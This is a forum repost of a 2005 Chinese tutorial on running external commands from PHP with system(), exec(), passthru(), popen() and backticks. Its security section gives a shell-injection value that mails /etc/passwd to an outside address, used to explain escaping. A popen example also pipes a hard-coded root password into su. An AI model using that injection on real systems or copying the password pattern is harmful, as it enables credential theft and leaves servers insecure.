QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2322|回复: 0
打印 上一主题 下一主题

在PHP中执行系统外部命令

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2005-1-16 11:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta

作者:Fluke 中文PHP论坛

! r$ l" _, S7 p1 w8 \+ Y

  PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。

$ v; s# I/ x4 j6 Z: y. m* l: E7 X

  那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面的顾虑呢?相信你看了本文后,肯定能够回答这些问题了。

# _) S8 F0 u2 c% n& F4 R! K2 ~0 S" k

  是否可以?

4 V+ C4 |/ x2 K

  答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。

6 q1 y: f {0 X1 ^ P4 k6 E1 T* J4 p1 w

  前提条件

* X i8 V5 W5 b" O

  由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:

4 c6 C' T, N$ Q( Q4 S: a) G+ u* m

  执行外部命令

7 J( B3 S: q x/ Z$ S8 w

  在打开文件时有些限制

4 w" }5 Z0 l% S' o5 ?

  连接MySQL数据库

9 j+ C/ _% d& |1 q0 }

  基于HTTP的认证

1 s3 C0 B, P3 Y% u' {# |" z ]

  在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。

6 x# U: E8 a! y4 R$ }

  如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

' ?7 q% a. m# {

  如何做?

5 c' R3 A1 k( C

  在PHP中调用外部命令,可以用如下三种方法来实现:

, _# o& c1 X" [: d' m& s

  1) 用PHP提供的专门函数

* g1 J' g9 N& i* K' d( O; X3 W4 K

  PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。

4 {7 R) H6 o3 J( V$ c" e& C. }6 G( }

  system()

% S1 r; I& X! z

  原型:string system (string command [, int return_var])

. h R. d( b) }6 s% a8 V- w

  system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

% b$ G. p0 q# ~+ O/ ?

  例子:

% b: n% V' x' i# t" Z; k# P

  <?

: ^5 L. Y; I5 ^' n4 n

  system("/usr/local/bin/webalizer/webalizer");

! R+ t c, X; l2 K% d

  ?>

- {9 r% Z" z. y' B7 }7 B w% k

  exec()

) Q6 @5 z$ Y& d' L

  原型:string exec (string command [, string array [, int return_var]])

/ @/ `. T+ ~8 T+ M% [& u( p

  exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。

# S4 P! T$ a, P9 @% e

  例子:

0 n) S5 }3 m' S( `- X

  <?

. a# K, X5 F4 E2 T2 Y$ u5 O) k

  exec("/bin/ls -l");

5 E0 J: B) N, V5 V4 z5 i5 c

  exec("/bin/ls -l", $res);

0 }6 `! `( i2 w& I8 x

  #$res是一个数据,每个元素代表结果的一行

& Z8 f5 a, v: T6 n0 b, V, K5 v# c

  exec("/bin/ls -l", $res, $rc);

0 f$ b4 q4 V& ?! B* C

  #$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0

# |! ]! q2 I: ^5 J

  ?>

7 v. x* ?( e8 j7 d

  passthru()

; i8 W1 c3 e' K. L5 T; |

  原型:void passthru (string command [, int return_var])

# D1 {7 j0 t8 g& _

  passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

% z$ o! [5 q9 x. |7 C% y% v

  例子:

( `- J& w% t* H% ~

  <?

' i- s9 u' M# N+ K' m

  header("Content-type: image/gif");

* E7 D- p0 }8 R2 B4 v# j! Q

  passthru("./ppmtogif hunte.ppm");

; R' g* U/ F. P2 S! k9 Z5 o

  ?>

* ]. w2 ?" N8 P6 Y

  2) 用popen()函数打开进程

5 g% e" x2 @# e& `/ p

  上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

4 r, \( _9 N- x

  popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。

' }1 [( C: S3 z: V# _

  例子1:

( D8 p, B( G! n$ [) _2 B

  <?

" X) W+ B8 F9 U1 I& o

  $fp=popen("/bin/ls -l", "r");

% B1 u5 }. }. ^; ^3 J$ p

  ?>

7 n0 Z( F9 G |0 F* v+ H; Y

  例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):

# o: ?$ d7 Y+ }% \* }! C, u

  <?

# F% u; f# I7 _$ s9 _- w. w" H) _

  /* PHP中如何增加一个系统用户

# d& c$ N5 { F

  下面是一段例程,增加一个名字为james的用户,

5 A. e& U1 F# ~. [+ Z9 ^

  root密码是 verygood。仅供参考

( K9 z- V" w r3 P, S

  */

$ H% G- S) r8 z" y- d2 W4 H; e! ?, Z

  $sucommand = "su --login root --command";

) \% n( R5 u4 c3 B T' t

  $useradd = "useradd ";

g6 l$ B: F# ^/ K d

  $rootpasswd = "verygood";

# a3 d2 c$ ^3 H! Z: x! ~: c

  $user = "james";

F! M/ F, w0 o

  $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);

: e" _9 f* ]% n" b# A

  $fp = @popen($user_add,"w");

) }2 q( N: V& F4 }% Y6 }5 p

  @fputs($fp,$rootpasswd);

9 u3 @) B% f- R, r# p

  @pclose($fp);

( r' @+ ?: W+ U; G5 M3 z2 _

  ?>

& W) w, j7 i2 o+ f

  3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

+ Q4 B1 r7 g( [- ^

  这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

, ]+ n ?+ J: Q9 i) h1 X& J

  <?

2 C4 E1 x6 F+ z( O+ `$ a& L1 m1 L

  $res=`/bin/ls -l`;

. k* x. \8 ]' }3 x

  echo '<b><pre>'.$res.'</pre></b>';

, w" m& }) H& j9 F: \

  ?>

- V2 h. I* k, x7 S5 r( K/ ?

  这个脚本的输出就象:

' L# ^; V7 ?3 e" b0 y+ k

  hunte.gif

. r* a2 l4 l- q0 [4 w5 X

  hunte.ppm

& A7 v7 N! z3 p; K" A

  jpg.htm

0 H0 t8 K3 h% l8 F" O% n

  jpg.jpg

4 ?9 J) }7 N) O7 q: d1 a7 L) y

  passthru.php

1 r1 e$ n5 f) z' d5 @% p

  要考虑些什么?

0 n3 o, A2 `& B

  要考虑两个问题:安全性和超时。

. }, w" H% @8 b# c, x* W- a

  先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:

/ o: r& I3 R) U: U/ a5 _

  <?

8 K, E( N. C7 ]( Y/ w0 C$ ?* h

  system("mail $to < products.txt");

2 W2 n, R+ q( Z7 G& ]! B

  echo "我们的产品目录已经发送到你的信箱:$to";

9 u; g0 J* l2 v3 j! h

  ?>

8 G% k$ p: a& r

  用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

' o. b1 Z. w8 d6 {, [4 h

  '--bla ; mail someone@domain.com < /etc/passwd ;'

; d/ R. _* ^& {+ E; Q9 u# m& W

  那么这条命令最终变成:

/ A# o3 ~4 C6 @' O8 d6 S- j6 Z

  'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

+ d5 _/ R4 B0 ?& `- k4 R7 Q

  我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

" S K1 C. T/ ?9 B9 L3 M/ y% Q

  幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。

. G& M5 t, S# y

  再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:

" a2 e5 i$ U& E! @

  <? _- f' }) w: e2 p   system("/usr/local/bin/order_proc > /tmp/null &"); . I9 ^6 p. z; U# _: g* I' g  ?> + e- s' S8 p. C- u% y ?# ^

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-14 20:12 , Processed in 0.417802 second(s), 52 queries .

回顶部